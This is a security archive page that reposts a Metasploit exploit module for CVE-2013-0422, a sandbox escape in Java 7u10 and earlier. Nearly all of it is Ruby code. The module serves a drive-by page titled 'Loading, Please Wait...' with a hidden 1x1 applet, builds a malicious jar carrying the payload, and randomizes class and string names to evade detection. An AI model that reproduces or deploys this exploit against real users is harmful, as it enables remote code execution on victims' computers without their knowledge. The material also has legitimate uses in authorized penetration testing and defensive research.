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Java Applet JMX Remote Code Execution

Java Applet JMX Remote Code Execution
Posted Jan 11, 2013
Authored by unknown, egypt, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in January of 2013. The vulnerability affects Java version 7u10 and earlier.

tags | exploit, java, arbitrary
advisories | CVE-2013-0422
MD5 | 30886a5fe5a8c62f2f65b5d9af2cfd89

Java Applet JMX Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })

def initialize( info = {} )

super( update_info( info,
'Name' => 'Java Applet JMX Remote Code Execution',
'Description' => %q{
This module abuses the JMX classes from a Java Applet to run arbitrary Java
code outside of the sandbox as exploited in the wild in January of 2013. The
vulnerability affects Java version 7u10 and earlier.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # Vulnerability discovery
'egypt', # Metasploit module
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0422' ],
[ 'URL', 'http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html' ],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/' ]
],
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 10 2013'
))
end


def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "j7u10_jmx", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "j7u10_jmx", "B.class")
@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

@exploit_class_name = rand_text_alpha("Exploit".length)
@exploit_class.gsub!("Exploit", @exploit_class_name)
super
end

def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")

case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("B.class", @loader_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest

send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end

end

def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
html += %Q|</applet></body></html>|
return html
end

end

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